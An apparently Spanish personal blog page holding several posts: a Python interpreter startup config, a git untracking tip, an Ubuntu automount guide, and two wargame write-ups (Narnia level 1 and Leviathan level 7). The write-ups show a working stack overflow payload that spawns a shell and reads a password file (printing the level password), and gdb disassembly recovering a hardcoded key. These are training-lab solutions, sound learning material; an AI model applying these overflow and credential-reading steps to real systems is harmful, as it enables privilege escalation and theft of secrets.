Configuración del intérprete interactivo de Python

El ejecutarse, el intérprete busca la variable de entorno PYTHONSTARTUP, y si está definida, ejecuta el fichero al que se refiere. Con ello, podemos preparar el intérprete para luego trabajar con él.

En .bashrc añadimos:

export PYTHONSTARTUP=~/.pythonstartup

para que en cada shell, el intérprete de python use el fichero de configuración.

Y ahora la configuración, por ejemplo:

import readline
import rlcompleter
import atexit
import os

#tab completion
readline.parse_and_bind(‘tab: complete’)
#history file
histfile = os.path.join(os.environ[‘HOME’],‘.pythonhistory’)
try:
        readline.read_history_file(histfile)
except IOError:
       pass
atexit.register(readline.write_history_file,histfile)
del os, histfile, readline, rlcompleter

Viene del libro Expert Python Programming, pág. 19, y lo que hace es añadir autocompletado con el tabulador, como en la shell, y un archivo histórico de los comandos ejecutados en el intérprete. El archivo se guardará en ~/.pythonhistory.

Python

Comments (0)

Permalink

Wargames: Narnia – Level1

Bien, una vez conectados al Wargame Narnia, nivel 1, en el directorio /wargame encontramos, entre otros:

-r-Sr-x— 1 level2 level1 7.7K 2008-05-13 16:06 level1
-r–r—– 1 root level1 1.3K 2008-04-17 21:31 level1.c

Probemos:

level1@narnia:/wargame$ ./level1
Correct val’s value from 0×41414141 -> 0xdeadbeef!
Here is your chance: abcd
buf: abcd
val: 0×41414141
WAY OFF!!!!
level1@narnia:/wargame$

El código de level1.c:

#include <stdio.h>
#include <stdlib.h>

int main(){
long val=0×41414141;
char buf[20];

printf(“Correct val’s value from 0×41414141 -> 0xdeadbeef!\n”);
printf(“Here is your chance: “);
scanf(“%24s”,&buf);

printf(“buf: %s\n”,buf);
printf(“val: 0x%08x\n”,val);

if(val==0xdeadbeef){
seteuid(1002);
system(“/bin/sh”);
} else {
printf(“WAY OFF!!!!\n”);
exit(1);
}

return 0;
}

Vemos que nos indican que val debe ser 0xdeadbeef, nos permiten escribir algo en buf mediante scanf(), nos muestran los valores de buf y val y finalmente comprueban el valor de val. De ser 0xdeadbeef, nos suben el UID efectivo a 1002 y arranca una shell. En caso contrario nos da un mensaje de error.

Pero yendo un poco más allá, ahí se ven dos variables: buf y val.
El compilador reserva espacio en la pila para val (4 bytes por ser un long) y justo a continuación, reserva 20 bytes para buf. De esta manera buf[0] se refiere al byte de memoria más alejado de val, buf[19] al más cercano. ¿Y buf[20]? al primer byte de los 4 de val. La arquitectura es little-endian, por lo que ese primer byte es el byte de menor peso de val. buf[21, 22 y 23] apuntarían a los siguiente bytes, siendo buf[23] el de mayor peso.

Esquema de la pila del programa vulnerable

Esto leerá hasta 24 caracteres de la entrada estándar y los almacenará a partir de buf: el primero en buf[0], el segundo en buf[1], etc. hasta el 20º, en buf[19]:

scanf(“%24s”,&buf);

¿Y si se introducen más de 20? Pues el 21º en buf[20], que es el byte de menos peso de val. El 22º, 23º y 24º irán escribiéndose en buf[21, 22 y 23], que son las restantes posiciones que ocupa val, sobreescribiendo el valor actual de la variable.

Ahora que ya sabemos cómo sobreescribir val, la cuestión es cómo introducir el valor 0xdeadbeef. De ese valor, el byte menos pesado es 0xef, luego viene 0xbe, 0xad y 0xde. En ese mismo orden irían en buf[20, 21, 22 y 23].

Si respondemos al scanf() con 20 bytes de relleno y a continuación 0xef, 0xbe, 0xad y 0xde, podremos colocar el valor adecuado para que nos abran una shell en el nivel 2.

Por ejemplo:

$ python -c “s=’.'*20+’\xef\xbe\xad\xde’; print s”
………………..ᆳ
$

Redirigiendo al programa vulnerable:

level1@narnia:/wargame$ python -c “s=’.'*20+’\xef\xbe\xad\xde’; print s”|./level1
Correct val’s value from 0×41414141 -> 0xdeadbeef!
Here is your chance: buf: ………………..ᆳ
val: 0xdeadbeef
level1@narnia:/wargame$

Aquí ya no nos dice WAY OFF!!!!, así que parece que ha funcionado. Sin embargo, no hay shell.

En realidad, sí se ha abierto una shell, pero su entrada estándar estaba conectada a la stdout del intérprete de python. En el momento en que el intérprete de python terminó, se rompió el pipe, se cerró la stdin de la nueva shell y eso finalizó la shell.

Lo que vamos a hacer ahora es un poco de python que escriba el valor de buf para que nos abran la shell, esperar un poco para asegurarnos de que esté abierta y luego escribirle un comando para que lo ejecute:

from time import sleep
from sys import stdout

s=’.'*20+’\xef\xbe\xad\xde’
print s
stdout.flush() #Asegurarse de que se ha imprimido s, para que scanf lo procese.
sleep(0.1) #Con 0.1s. probablemente sea suficiente para que se haya abierto la shell
print ‘cat /home/level2/.passwd’ #Esto llegará a la stdin de la shell y se ejecutará

Probemos:

level1@narnia:/wargame$ python -c “from time import sleep; from sys import stdout; s=’.'*20+’\xef\xbe\xad\xde’; print s; stdout.flush(); sleep(0.1); print ‘cat /home/level2/.passwd’”|./level1
Correct val’s value from 0×41414141 -> 0xdeadbeef!
Here is your chance: buf: ………………..ᆳ
val: 0xdeadbeef
iSwvy1TF
level1@narnia:/wargame$

¡¡Es un bingooo!! ahí está la contraseña para el siguiente nivel.

seguridad

Comments (0)

Permalink

Wargame Leviathan: solución alternativa al level7

Hace una semana decidí probar un wargame. Éste se trataba de uno sencillo que además está resuelto y explicado en Pentester. El caso es que probé una solución alternativa a nivel 7 y la comentaré por aquí por si interesa a alguien.

En este nivel el reto es saber cuál es la clave numérica que ha de recibir un programa. Tal programa se puede ejecutar desde el nivel 7 y cuando se le suministra la clave correcta como primer argumento proporciona privilegios de nivel 8:

$ ./sphinx
usage: ./sphinx <4>
$ ./sphinx <clave incorrecta>
Wrong

$ ./sphinx <clave correcta>
sh-3.1$
sh-3.1$ id
uid=1006(level7) gid=1006(level7) euid=1007(level8) groups=1006(level7)

Se sabe que la clave es de 4 dígitos, y si se utiliza ltrace, se puede ver que el ejecutable convierte (atoi()) el argv[1] a entero.

En un nivel anterior se da el mismo reto, pero con clave alfanumérica, por lo que detectando las llamadas a strcmp() mediante ltrace el probema queda resuelto. En este caso se complica, pues las comparaciones no se hacen mediante llamadas a ninguna función.

En el artículo de pentester resuelven el problema mediante fuerza bruta con un sencillo shell script que comprueba secuencialmente (hasta) las 10000 posibles combinaciones, si bien también plantean la solución que he llevado a cabo.

Lo que cabe esperar del programa es que, una vez haya convertido el argumento a entero, en algún lugar efectuará una comparación con la clave correcta. Si el número introducido es igual a la clave correcta, sube de privilegios y arranca una shell. En caso contrario lanza un mensaje de error y finaliza.

Bien, pues con gdb desensamblamos el ejecutable a ver qué se ve:

level7@leviathan:/wargame$ gdb sphinx
GNU gdb 6.4.90-debian
[...]
(gdb) disassemble main
Dump of assembler code for function main:
0×08048464 <main+0>: lea 0×4(%esp),%ecx
0×08048468 <main+4>: and $0xfffffff0,%esp
0x0804846b <main+7>: pushl 0xfffffffc(%ecx)
[...]
0x080484b9 <main+85>: call 0×8048394 <atoi@plt>
0x080484be <main+90>: cmp 0xfffffff8(%ebp),%eax
0x080484c1 <main+93>: jne 0x80484dd <main+121>
0x080484c3 <main+95>: movl $0x3ef,(%esp)
0x080484ca <main+102>: call 0×8048334 <seteuid@plt>
0x080484cf <main+107>: movl $0×8048622,(%esp)
0x080484d6 <main+114>: call 0×8048344 <system@plt>
0x080484db <main+119>: jmp 0x80484e9 <main+133>
0x080484dd <main+121>: movl $0x804862a,(%esp)
0x080484e4 <main+128>: call 0×8048354 <puts@plt>
0x080484e9 <main+133>: add $0×24,%esp
0x080484ec <main+136>: pop %ecx
—Type to continue, or q to quit—q
Quit

Aquí lo que vemos es que en main+85 hace una llamada a atoi(), que retorna un el argumento convertido en int en %eax. En main+90 se compara ese valor con el ubicado en la posición de memoria %ebp+0xfffffff8.
El contenido de %ebp es:

(gdb) info registers ebp
ebp 0xbffffa28 0xbffffa28

Así que, tirando de calculadora: 0xbffffa28 + 0xfffffff8 ==0x1BFFFFA20. ¿Qué hay en esa posición de memoria? Ahí (y en los siguientes 3 bytes) debería de alojarse el entero que se compara con el resultado de atoi(), es decir, la clave correcta:

(gdb) x 0x1BFFFFA20
0xbffffa20: 0x00001bd3

0x1bd3 == 7123 (en decimal), así que esa es presuntamente la clave. Probemos…

level7@leviathan:/wargame$ ./sphinx 7123
sh-3.1$ id
uid=1006(level7) gid=1006(level7) euid=1007(level8) groups=1006(level7)

Y bingo! con eso obtenemos una shell con privilegios de level8.

seguridad

Comments (0)

Permalink

Git: dejar de seguir un fichero

Si nuestro repositorio Git está siguiendo el ‘fichero’ y queremos finalizar su seguimiento, podemos usar el comando git rm , ¡pero cuidado! porque esto borrará el fichero del disco. Siempre podríamos volver a alguna versión anterior del repositorio, pero también disponemos de la opción –cached (con dos guiones) para eliminarlo tan sólo del índice del repositorio.

$ git rm –cached fichero
rm ‘fichero’
$ ls fichero
fichero
$ git status
# On branch master
# Changes to be committed:
# (use “git reset HEAD …” to unstage)
#
# deleted: fichero
#
# Untracked files:
# (use “git add …” to include in what will be committed)
#
# backup/
# fichero
$ git commit -m ‘Untracking fichero’
[master d9557db] Untracking fichero
1 files changed, 0 insertions(+), 0 deletions(-)
delete mode 100644 fichero
$

Como se puede ver, el fichero permanece en disco, y tras aplicar el cambio es necesario hacer un commit.

desarrollo

Comments (0)

Permalink

(Des)activar el automount en Ubuntu 10.04

Tengo una memoria USB de la que quiero hacer un volcado en disco sin que se haga ninguna modificación sobre el original. Para ello, lo mejor es evitar que la unidad se monte automáticamente.

Gnome, desde hace ya unos cuantos años, por defecto monta las unidades que se añaden al sistema (CDs, memorias, discos externos, etc.): Cuando se inserta una memoria USB, el kernel detecta el nuevo dispositivo e informa a udev. Udev retransmite el mensaje mediante DBus. Mediante DBus se entera Gnome-VirtualFS (gvfs), que revisa su configuración y obra en consecuencia, montando la unidad.

kernel > udev > dbus > gvfs/nautilus

En versiones anteriores de Ubuntu esto era ligeramente diferente, ya que HALd estaba de por medio en lugar de udev.

El caso, es que si queremos que gnome no monte la unidad, lo que hay que hacer es cambiar la configuración del gvfs. Para ello, Gnome tiene un registro, a imagen y semejanza del de Windows. En tal registro hay una clave (/apps/nautilus/preferences/media_automount), de tipo bool, que por defecto está a true, indicando que sí se deben montar las unidades automáticamente.

¿Cómo se cambia el valor?

  • Mediante interfaz gráfica: se ejecuta el programa gconf-editor y encuentra uno la clave mediante el árbol de la derecha de la interfaz.
  • Mediante línea de comandos:
    • Con esto leemos el valor actual:
      gconftool –get /apps/nautilus/preferences/media_automount
    • y con esto:
      gconftool –type bool –set /apps/nautilus/preferences/media_automount false

      activamos o desactivamos el automount.

Y por automatizar, podemos añadir un alias a la configuración de la shell:

echo “alias automount=’gconftool –type bool –set /apps/nautilus/preferences/media_automount ‘”>> .bash_aliases

Por ejemplo:

$ automount false #Desactivar automount
$ automount true  #Reactivar el automontaje

Sources:

Shell scripting

Comments (0)

Permalink